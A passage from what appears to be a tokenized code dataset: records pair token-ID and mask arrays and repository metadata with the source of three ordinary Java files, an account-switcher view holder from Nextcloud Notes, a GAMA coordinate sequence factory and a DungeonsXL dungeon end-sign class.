77,
3399,
2613,
312,
222,
221,
942,
1922,
458,
44808,
45,
77,
2941,
475,
312,
222,
221,
942,
1922,
902,
17552,
44808,
12826,
3399,
45,
77,
2941,
475,
312,
26000,
221,
942,
696,
1114,
6310,
1114,
3948,
45,
77,
2941,
3913,
49,
696,
26022,
1641,
312,
222,
221,
942,
782,
3365,
1114,
45,
77,
1114,
1641,
312,
222,
221,
942,
782,
4250,
26025,
1186,
3921,
3948,
3648,
45,
77,
1114,
1641,
49,
2082,
10472,
312,
222,
221,
942,
782,
5953,
14597,
45,
77,
1114,
1641,
312,
222,
221,
942,
696,
2246,
640,
3485,
3921,
14493,
2246,
402,
2154,
45,
77,
2941,
3913,
312,
222,
221,
942,
1922,
902,
38497,
45,
77,
2246,
2181,
312,
26000,
221,
942,
7191,
12826,
1985,
640,
2163,
12826,
1985,
492,
376,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,277
| true
| 81.499169
| true
| true
|
AccountSwitcherViewHolder.java
|
/FileExtraction/Java_unseen/nextcloud_notes-android/app/src/main/java/it/niedermann/owncloud/notes/accountswitcher/AccountSwitcherViewHolder.java
|
/*
* Nextcloud Notes - Android Client
*
* SPDX-FileCopyrightText: 2020-2024 Nextcloud GmbH and Nextcloud contributors
* SPDX-FileCopyrightText: 2020-2021 Stefan Niedermann <[email protected]>
* SPDX-License-Identifier: GPL-3.0-or-later
*/
package it.niedermann.owncloud.notes.accountswitcher;
import android.net.Uri;
import android.view.View;
import androidx.annotation.NonNull;
import androidx.core.util.Consumer;
import androidx.recyclerview.widget.RecyclerView;
import com.bumptech.glide.Glide;
import com.bumptech.glide.request.RequestOptions;
import it.niedermann.nextcloud.sso.glide.SingleSignOnUrl;
import it.niedermann.owncloud.notes.R;
import it.niedermann.owncloud.notes.databinding.ItemAccountChooseBinding;
import it.niedermann.owncloud.notes.persistence.entity.Account;
public class AccountSwitcherViewHolder extends RecyclerView.ViewHolder {
ItemAccountChooseBinding binding;
public AccountSwitcherViewHolder(@NonNull View itemView) {
super(itemView);
binding = ItemAccountChooseBinding.bind(itemView);
}
public void bind(@NonNull Account localAccount, @NonNull Consumer<Account> onAccountClick) {
binding.accountName.setText(localAccount.getDisplayName());
binding.accountHost.setText(Uri.parse(localAccount.getUrl()).getHost());
Glide.with(itemView.getContext())
.load(new SingleSignOnUrl(localAccount.getAccountName(), localAccount.getUrl() + "/index.php/avatar/" + Uri.encode(localAccount.getUserName()) + "/64"))
.placeholder(R.drawable.ic_account_circle_grey_24dp)
.error(R.drawable.ic_account_circle_grey_24dp)
.apply(RequestOptions.circleCropTransform())
.into(binding.accountItemAvatar);
itemView.setOnClickListener((v) -> onAccountClick.accept(localAccount));
binding.accountContextMenu.setVisibility(View.GONE);
}
}
| 1,912
|
Java
|
.java
|
nextcloud/notes-android
| 899
| 134
| 175
|
2015-10-01T15:53:21Z
|
2024-05-09T02:46:23Z
|
c6876562a3343bb5ba9bc8a8c94beabc5ca4a341352a177e6df7d57ab57586e2
|
[
1127,
222,
338,
11006,
3227,
13917,
449,
8107,
5680,
222,
338,
222,
338,
18769,
50,
991,
10585,
1049,
63,
244,
55,
53,
55,
53,
50,
55,
53,
55,
57,
11006,
3227,
34723,
480,
11006,
3227,
13356,
222,
338,
18769,
50,
991,
10585,
1049,
63,
244,
55,
53,
55,
53,
50,
55,
53,
55,
54,
6678,
20322,
508,
4850,
2830,
1039,
350,
1357,
69,
115,
4850,
2830,
1039,
51,
302,
67,
222,
338,
18769,
50,
3801,
50,
5551,
63,
23508,
50,
56,
51,
53,
50,
290,
50,
29375,
222,
588,
222,
1337,
580,
51,
115,
4850,
2830,
1039,
51,
896,
3227,
51,
8903,
51,
3543,
4651,
284,
64,
222,
222,
485,
2616,
51,
1317,
51,
5729,
64,
222,
485,
2616,
51,
1090,
51,
1089,
64,
222,
222,
485,
10484,
51,
4341,
51,
10082,
64,
222,
485,
10484,
51,
1284,
51,
1058,
51,
9123,
64,
222,
485,
10484,
51,
41468,
51,
3872,
51,
21366,
64,
222,
222,
485,
785,
51,
28097,
6646,
51,
38678,
51,
76,
4024,
64,
222,
485,
785,
51,
28097,
6646,
51,
38678,
51,
1375,
51,
36293,
64,
222,
222,
485,
580,
51,
115,
4850,
2830,
1039,
51,
1995,
3227,
51,
26295,
51,
38678,
51,
6284,
3399,
1501,
2226,
64,
222,
485,
580,
51,
115,
4850,
2830,
1039,
51,
896,
3227,
51,
8903,
51,
87,
64,
222,
485,
580,
51,
115,
4850,
2830,
1039,
51,
896,
3227,
51,
8903,
51,
47930,
51,
1114,
3354,
21028,
5910,
64,
222,
485,
580,
51,
115,
4850,
2830,
1039,
51,
896,
3227,
51,
8903,
51,
10782,
51,
2244,
51,
3354,
64,
222,
222,
942,
462,
9042,
7940,
284,
17087,
2041,
25597,
51,
17087,
320,
465,
6337,
3354,
21028,
5910,
9461,
64,
465,
581,
9042,
7940,
284,
17087,
4810,
10082,
4340,
38993,
46,
320,
310,
2615,
45,
1113,
1089,
312,
310,
9461,
299,
6337,
3354,
21028,
5910,
51,
2555,
45,
1113,
1089,
312,
303,
339,
465,
581,
782,
5119,
4810,
10082,
9042,
2212,
3354,
49,
496,
10082,
24364,
65,
3354,
67,
563,
3354,
2668,
46,
320,
310,
9461,
51,
3543,
577,
51,
6619,
45,
1717,
3354,
51,
390,
12572,
1052,
310,
9461,
51,
3543,
3680,
51,
6619,
45,
5729,
51,
2228,
45,
1717,
3354,
51,
30105,
4269,
42881,
1052,
310,
590,
4024,
51,
1814,
45,
1113,
1089,
51,
14722,
1177,
419,
657,
963,
45,
909,
12392,
3399,
1501,
2226,
45,
1717,
3354,
51,
390,
29155,
1046,
2212,
3354,
51,
30105,
365,
494,
2450,
1076,
51,
1334,
52,
9700,
5694,
494,
14433,
51,
4458,
45,
1717,
3354,
51,
12226,
577,
1177,
494,
2450,
59,
57,
2152,
419,
657,
10354,
45,
87,
51,
16926,
51,
314,
100,
3543,
100,
7220,
100,
16091,
100,
55,
57,
5994,
46,
419,
657,
750,
45,
87,
51,
16926,
51,
314,
100,
3543,
100,
7220,
100,
16091,
100,
55,
57,
5994,
46,
419,
657,
4740,
45,
36293,
51,
7220,
24706,
4879,
1177,
419,
657,
8017,
45,
9987,
51,
3543,
1114,
15090,
312,
310,
38993,
51,
18903,
1181,
123,
46,
984,
563,
3354,
2668,
51,
7504,
45,
1717,
3354,
894,
310,
9461,
51,
3543,
23427,
51,
20070,
45,
1089,
51,
27774,
312,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 515
| true
| 73.587866
| true
| true
|
GamaCoordinateSequenceFactory.java
|
/FileExtraction/Java_unseen/gama-platform_gama_old/msi.gama.core/src/msi/gama/common/geometry/GamaCoordinateSequenceFactory.java
|
/*******************************************************************************************************
*
* GamaCoordinateSequenceFactory.java, in msi.gama.core, is part of the source code of the
* GAMA modeling and simulation platform (v.1.9.3).
*
* (c) 2007-2023 UMI 209 UMMISCO IRD/SU & Partners (IRIT, MIAT, TLU, CTU)
*
* Visit https://github.com/gama-platform/gama for license information and contacts.
*
********************************************************************************************************/
package msi.gama.common.geometry;
import org.locationtech.jts.geom.Coordinate;
import org.locationtech.jts.geom.CoordinateSequence;
import org.locationtech.jts.geom.CoordinateSequenceFactory;
import msi.gama.metamodel.shape.GamaPoint;
/**
* A factory for creating GamaCoordinateSequence objects.
*/
public class GamaCoordinateSequenceFactory implements CoordinateSequenceFactory {
/**
* Method create()
*
* @see org.locationtech.jts.geom.CoordinateSequenceFactory#create(org.locationtech.jts.geom.Coordinate[])
*/
@Override
public ICoordinates create(final Coordinate[] coordinates) {
if (coordinates.length == 1) return new UniqueCoordinateSequence(3, coordinates[0]);
return new GamaCoordinateSequence(3, coordinates);
}
/**
* Creates the.
*
* @param coordinates the coordinates
* @param copy the copy
* @return the i coordinates
*/
public ICoordinates create(final GamaPoint[] coordinates, final boolean copy) {
if (coordinates.length == 1) return new UniqueCoordinateSequence(3, coordinates[0]);
return new GamaCoordinateSequence(3, copy, coordinates);
}
/**
* Method create()
*
* @see org.locationtech.jts.geom.CoordinateSequenceFactory#create(org.locationtech.jts.geom.CoordinateSequence)
*/
@Override
public ICoordinates create(final CoordinateSequence cs) {
if (cs.size() == 1) return new UniqueCoordinateSequence(cs.getDimension(), cs.getCoordinate(0));
if (cs instanceof GamaCoordinateSequence) return ((GamaCoordinateSequence) cs).clone();
return new GamaCoordinateSequence(cs.getDimension(), cs.toCoordinateArray());
}
/**
* Method create()
*
* @see org.locationtech.jts.geom.CoordinateSequenceFactory#create(int, int)
*/
@Override
public ICoordinates create(final int size, final int dimension) {
if (size == 1) return new UniqueCoordinateSequence(dimension, new GamaPoint());
return new GamaCoordinateSequence(dimension, size);
}
}
| 2,451
|
Java
|
.java
|
gama-platform/gama.old
| 299
| 99
| 0
|
2015-05-27T03:29:54Z
|
2024-02-22T18:14:25Z
|
0d04913c34a5dd7e7919f115e8d7cfd0d68ad2832d8e51bab3479adea3f7aa49
|
[
18200,
1835,
14525,
222,
338,
222,
338,
590,
4497,
17048,
5908,
2232,
51,
1874,
49,
347,
364,
3450,
51,
108,
4497,
51,
1284,
49,
458,
1760,
451,
341,
1932,
1361,
451,
341,
222,
338,
590,
40069,
37232,
480,
14619,
5637,
327,
123,
51,
54,
51,
62,
51,
56,
566,
222,
338,
222,
338,
327,
104,
46,
244,
55,
53,
53,
60,
50,
55,
53,
55,
56,
650,
5899,
244,
55,
53,
62,
650,
2842,
1309,
1213,
457,
12775,
52,
4531,
568,
6695,
11831,
327,
3914,
799,
49,
23357,
741,
49,
413,
11830,
49,
26086,
90,
46,
222,
338,
222,
338,
23319,
1698,
574,
951,
51,
527,
52,
108,
4497,
50,
5146,
52,
108,
4497,
456,
3553,
2490,
480,
26890,
51,
222,
338,
1676,
17854,
1835,
23076,
222,
1337,
364,
3450,
51,
108,
4497,
51,
2297,
51,
10132,
64,
222,
222,
485,
1105,
51,
2665,
6646,
51,
45186,
51,
12338,
51,
17048,
64,
222,
485,
1105,
51,
2665,
6646,
51,
45186,
51,
12338,
51,
17048,
5908,
64,
222,
485,
1105,
51,
2665,
6646,
51,
45186,
51,
12338,
51,
17048,
5908,
2232,
64,
222,
222,
485,
364,
3450,
51,
108,
4497,
51,
2580,
46404,
51,
3299,
51,
76,
4497,
1962,
64,
222,
222,
1350,
222,
338,
418,
7769,
456,
6913,
590,
4497,
17048,
5908,
4706,
51,
222,
588,
222,
942,
462,
590,
4497,
17048,
5908,
2232,
4584,
31729,
5908,
2232,
320,
499,
221,
1350,
376,
338,
5409,
1506,
365,
376,
338,
376,
338,
496,
2987,
1105,
51,
2665,
6646,
51,
45186,
51,
12338,
51,
17048,
5908,
2232,
40,
1315,
45,
1107,
51,
2665,
6646,
51,
45186,
51,
12338,
51,
17048,
9798,
376,
588,
222,
221,
69,
1806,
222,
221,
942,
457,
18583,
1506,
45,
3242,
31729,
1197,
10547,
46,
320,
376,
221,
344,
327,
17891,
51,
1340,
630,
244,
54,
46,
461,
556,
21358,
17048,
5908,
45,
56,
49,
10547,
96,
53,
2004,
376,
221,
620,
556,
590,
4497,
17048,
5908,
45,
56,
49,
10547,
312,
222,
221,
130,
499,
221,
1350,
376,
338,
9308,
341,
51,
376,
338,
376,
338,
496,
772,
10547,
341,
10547,
376,
338,
496,
772,
1948,
341,
1948,
376,
338,
496,
620,
341,
613,
10547,
376,
588,
222,
221,
942,
457,
18583,
1506,
45,
3242,
590,
4497,
1962,
1197,
10547,
49,
1175,
1922,
1948,
46,
320,
376,
221,
344,
327,
17891,
51,
1340,
630,
244,
54,
46,
461,
556,
21358,
17048,
5908,
45,
56,
49,
10547,
96,
53,
2004,
376,
221,
620,
556,
590,
4497,
17048,
5908,
45,
56,
49,
1948,
49,
10547,
312,
222,
221,
130,
499,
221,
1350,
376,
338,
5409,
1506,
365,
376,
338,
376,
338,
496,
2987,
1105,
51,
2665,
6646,
51,
45186,
51,
12338,
51,
17048,
5908,
2232,
40,
1315,
45,
1107,
51,
2665,
6646,
51,
45186,
51,
12338,
51,
17048,
5908,
46,
376,
588,
222,
221,
69,
1806,
222,
221,
942,
457,
18583,
1506,
45,
3242,
31729,
5908,
9122,
46,
320,
376,
221,
344,
327,
1766,
51,
911,
365,
630,
244,
54,
46,
461,
556,
21358,
17048,
5908,
45,
1766,
51,
390,
9884,
1046,
9122,
51,
390,
17048,
45,
53,
894,
376,
221,
344,
327,
1766,
5118,
590,
4497,
17048,
5908,
46,
461,
1849,
76,
4497,
17048,
5908,
46,
9122,
566,
6371,
492,
376,
221,
620,
556,
590,
4497,
17048,
5908,
45,
1766,
51,
390,
9884,
1046,
9122,
51,
471,
17048,
1280,
1052,
222,
221,
130,
499,
221,
1350,
376,
338,
5409,
1506,
365,
376,
338,
376,
338,
496,
2987,
1105,
51,
2665,
6646,
51,
45186,
51,
12338,
51,
17048,
5908,
2232,
40,
1315,
45,
429,
49,
648,
46,
376,
588,
222,
221,
69,
1806,
222,
221,
942,
457,
18583,
1506,
45,
3242,
648,
1354,
49,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 651
| true
| 67.645859
| true
| true
|
EndSign.java
|
/FileExtraction/Java_unseen/DRE2N_DungeonsXL/core/src/main/java/de/erethon/dungeonsxl/sign/button/EndSign.java
|
/*
* Copyright (C) 2012-2023 Frank Baumann
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package de.erethon.dungeonsxl.sign.button;
import de.erethon.dungeonsxl.api.DungeonsAPI;
import de.erethon.dungeonsxl.api.dungeon.Dungeon;
import de.erethon.dungeonsxl.api.dungeon.GameGoal;
import de.erethon.dungeonsxl.api.dungeon.GameRule;
import de.erethon.dungeonsxl.api.sign.Button;
import de.erethon.dungeonsxl.api.world.InstanceWorld;
import de.erethon.dungeonsxl.api.world.ResourceWorld;
import de.erethon.dungeonsxl.config.DMessage;
import de.erethon.dungeonsxl.player.DGamePlayer;
import de.erethon.dungeonsxl.player.DPermission;
import de.erethon.dungeonsxl.trigger.InteractTrigger;
import de.erethon.bedrock.chat.MessageUtil;
import de.erethon.dungeonsxl.world.DGameWorld;
import de.erethon.dungeonsxl.world.DResourceWorld;
import org.bukkit.ChatColor;
import org.bukkit.block.Sign;
import org.bukkit.entity.Player;
import org.bukkit.scheduler.BukkitRunnable;
/**
* @author Frank Baumann, Milan Albrecht, Daniel Saukel
*/
public class EndSign extends Button {
private ResourceWorld floor;
public EndSign(DungeonsAPI api, Sign sign, String[] lines, InstanceWorld instance) {
super(api, sign, lines, instance);
}
public ResourceWorld getFloor() {
return floor;
}
public void setFloor(ResourceWorld floor) {
this.floor = floor;
}
@Override
public String getName() {
return "End";
}
@Override
public String getBuildPermission() {
return DPermission.SIGN.getNode() + ".end";
}
@Override
public boolean isOnDungeonInit() {
return false;
}
@Override
public boolean isProtected() {
return true;
}
@Override
public boolean isSetToAir() {
return false;
}
@Override
public boolean validate() {
return true;
}
@Override
public void initialize() {
GameGoal goal = getGame().getRules().getState(GameRule.GAME_GOAL);
if (goal.getType() != GameGoal.Type.END) {
setToAir();
MessageUtil.log(api, "&4An end sign in the dungeon " + getGame().getDungeon().getName() + " is ignored because the game goal is " + goal.toString());
return;
}
if (!getLine(1).isEmpty()) {
floor = api.getMapRegistry().get(getLine(1));
}
if (!getTriggers().isEmpty()) {
setToAir();
return;
}
InteractTrigger trigger = InteractTrigger.getOrCreate(0, getSign().getBlock(), (DGameWorld) getGameWorld());
if (trigger != null) {
trigger.addListener(this);
addTrigger(trigger);
}
getSign().setLine(0, ChatColor.DARK_BLUE + "############");
Dungeon dungeon = getGame().getDungeon();
if (dungeon.isMultiFloor() && !getGame().getUnplayedFloors().isEmpty() && getGameWorld().getResource() != dungeon.getEndFloor()) {
getSign().setLine(1, DMessage.SIGN_FLOOR_1.getMessage());
if (floor == null) {
getSign().setLine(2, DMessage.SIGN_FLOOR_2.getMessage());
} else {
getSign().setLine(2, ChatColor.GREEN + floor.getName().replace("_", " "));
}
} else {
getSign().setLine(1, DMessage.SIGN_END.getMessage());
}
getSign().setLine(3, ChatColor.DARK_BLUE + "############");
getSign().update();
}
@Override
public boolean push(Player player) {
DGamePlayer dPlayer = (DGamePlayer) api.getPlayerCache().getGamePlayer(player);
if (dPlayer == null) {
return true;
}
// TODO: Group with 2 players, player A finishs, player B leaves
if (dPlayer.isFinished()) {
return true;
}
new BukkitRunnable() {
@Override
public void run() {
dPlayer.finishFloor((DResourceWorld) floor);
}
}.runTaskLater(api, 1L);
return true;
}
}
| 4,647
|
Java
|
.java
|
DRE2N/DungeonsXL
| 151
| 85
| 102
|
2015-07-14T16:13:12Z
|
2023-11-02T04:50:59Z
|
4f7de2c63d4e4c1a01d1e9d778d592bc242dee029b537fa0c4292532a51b2843
|
[
1127,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
55,
50,
55,
53,
55,
56,
26656,
27388,
397,
1039,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1352,
51,
1654,
64,
222,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
73,
17025,
2632,
2571,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
105,
28253,
51,
73,
28253,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
105,
28253,
51,
3783,
17350,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
105,
28253,
51,
3783,
3855,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
1352,
51,
1732,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
5879,
51,
1825,
6719,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
5879,
51,
2305,
6719,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1180,
51,
73,
1193,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
3857,
51,
73,
3783,
3516,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
3857,
51,
73,
7052,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
7513,
51,
47202,
7903,
64,
222,
485,
428,
51,
767,
1661,
51,
3036,
22239,
51,
6184,
51,
1193,
1747,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
5879,
51,
73,
3783,
6719,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
5879,
51,
73,
2305,
6719,
64,
222,
485,
1105,
51,
20402,
51,
7580,
1530,
64,
222,
485,
1105,
51,
20402,
51,
1540,
51,
3399,
64,
222,
485,
1105,
51,
20402,
51,
2244,
51,
3516,
64,
222,
485,
1105,
51,
20402,
51,
13273,
51,
982,
17120,
17695,
64,
222,
222,
1350,
222,
338,
496,
2133,
26656,
27388,
397,
1039,
49,
49127,
297,
2770,
4032,
24182,
49,
32649,
31324,
3434,
361,
222,
588,
222,
942,
462,
4733,
3399,
2041,
7413,
320,
465,
964,
6297,
6719,
17675,
64,
465,
581,
4733,
3399,
45,
73,
17025,
2632,
2571,
4142,
49,
7443,
2613,
49,
910,
1197,
5452,
49,
11619,
6719,
1998,
46,
320,
310,
2615,
45,
1256,
49,
2613,
49,
5452,
49,
1998,
312,
303,
339,
465,
581,
6297,
6719,
640,
21142,
365,
320,
310,
461,
17675,
64,
303,
339,
465,
581,
782,
758,
21142,
45,
2305,
6719,
17675,
46,
320,
310,
477,
51,
9157,
299,
17675,
64,
303,
339,
465,
496,
1806,
303,
581,
910,
16389,
365,
320,
310,
461,
332,
2117,
884,
303,
339,
465,
496,
1806,
303,
581,
910,
640,
3328,
7052,
365,
320,
310,
461,
493,
7052,
51,
9876,
51,
17701,
365,
494,
4956,
435,
884,
303,
339,
465,
496,
1806,
303,
581,
1922,
458,
1501,
73,
28253,
3588,
365,
320,
310,
461,
920,
64,
303,
339,
465,
496,
1806,
303,
581,
1922,
458,
22482,
365,
320,
310,
461,
878,
64,
303,
339,
465,
496,
1806,
303,
581,
1922,
37900,
724,
14493,
365,
320,
310,
461,
920,
64,
303,
339,
465,
496,
1806,
303,
581,
1922,
6051,
365,
320,
310,
461,
878,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
7395,
365,
320,
310,
6067,
17350,
12327,
299,
640,
3783,
941,
390,
9156,
941,
19701,
45,
3783,
3855,
51,
25404,
100,
7001,
744,
312,
310,
434,
327,
15883,
51,
10276,
365,
882,
6067,
17350,
51,
638,
51,
3298,
46,
320,
343,
758,
724,
14493,
492,
343,
4587,
1747,
51,
769,
45,
1256,
49,
14238,
57,
1062,
962,
2613,
347,
341,
362,
28253,
332,
494,
640,
3783,
941,
390,
73,
28253,
941,
5175,
365,
494,
332,
458,
10308,
3318,
341,
4204,
12327,
458,
332,
494,
12327,
51,
3127,
1052,
343,
461,
64,
310,
339,
603,
434,
1445,
42918,
45,
54,
566,
6401,
1177,
320,
343,
17675,
299,
4142,
51,
46575,
5389,
941,
390,
45,
42918,
45,
54,
894,
310,
339,
603,
434,
1445,
390,
34315,
941,
6401,
1177,
320,
343,
758,
724,
14493,
492,
343,
461,
64,
310,
339,
603,
4821,
555,
7903,
6604,
299,
4821,
555,
7903,
51,
390,
25276,
45,
53,
49,
640,
3399,
941,
25641,
1046,
327,
73,
3783,
6719,
46,
640,
3783,
6719,
1052,
310,
434,
327,
7513,
882,
762,
46,
320,
343,
6604,
51,
24333,
45,
597,
312,
343,
1035,
7903,
45,
7513,
312,
310,
339,
603,
640,
3399,
941,
489,
1829,
45,
53,
49,
16083,
1530,
51,
44647,
100,
24269,
494,
332,
1297,
784,
742,
310,
493,
28253,
362,
28253,
299,
640,
3783,
941,
390,
73,
28253,
492,
310,
434,
327,
105,
28253,
51,
316,
6230,
21142,
365,
979,
673,
390,
3783,
941,
36127,
1087,
337,
46191,
1758,
941,
6401,
365,
979,
640,
3783,
6719,
941,
17633,
365,
882,
362,
28253,
51,
45646,
21142,
1177,
320,
343,
640,
3399,
941,
489,
1829,
45,
54,
49,
493,
1193,
51,
9876,
100,
40828,
776,
100,
54,
51,
7724,
1052,
343,
434,
327,
9157,
630,
762,
46,
320,
419,
640,
3399,
941,
489,
1829,
45,
55,
49,
493,
1193,
51,
9876,
100,
40828,
776,
100,
55,
51,
7724,
1052,
343,
339,
832,
320,
419,
640,
3399,
941,
489,
1829,
45,
55,
49,
16083,
1530,
51,
23944,
494,
17675,
51,
5175,
941,
3249,
14719,
411,
332,
41270,
343,
339,
310,
339,
832,
320,
343,
640,
3399,
941,
489,
1829,
45,
54,
49,
493,
1193,
51,
9876,
100,
3298,
51,
7724,
1052,
310,
339,
310,
640,
3399,
941,
489,
1829,
45,
56,
49,
16083,
1530,
51,
44647,
100,
24269,
494,
332,
1297,
784,
742,
310,
640,
3399,
941,
1896,
492,
303,
339,
465,
496,
1806,
303,
581,
1922,
5849,
45,
3516,
4376,
46,
320,
310,
493,
3783,
3516,
362,
3516,
299,
327,
73,
3783,
3516,
46,
4142,
51,
32872,
2610,
941,
390,
3783,
3516,
45,
3857,
312,
310,
434,
327,
105,
3516,
630,
762,
46,
320,
343,
461,
878,
64,
310,
339,
603,
453,
4314,
63,
7072,
642,
244,
55,
14580,
49,
4376,
418,
11371,
120,
49,
4376,
570,
26267,
310,
434,
327,
105,
3516,
51,
316,
14071,
1177,
320,
343,
461,
878,
64,
310,
339,
603,
556,
2755,
17120,
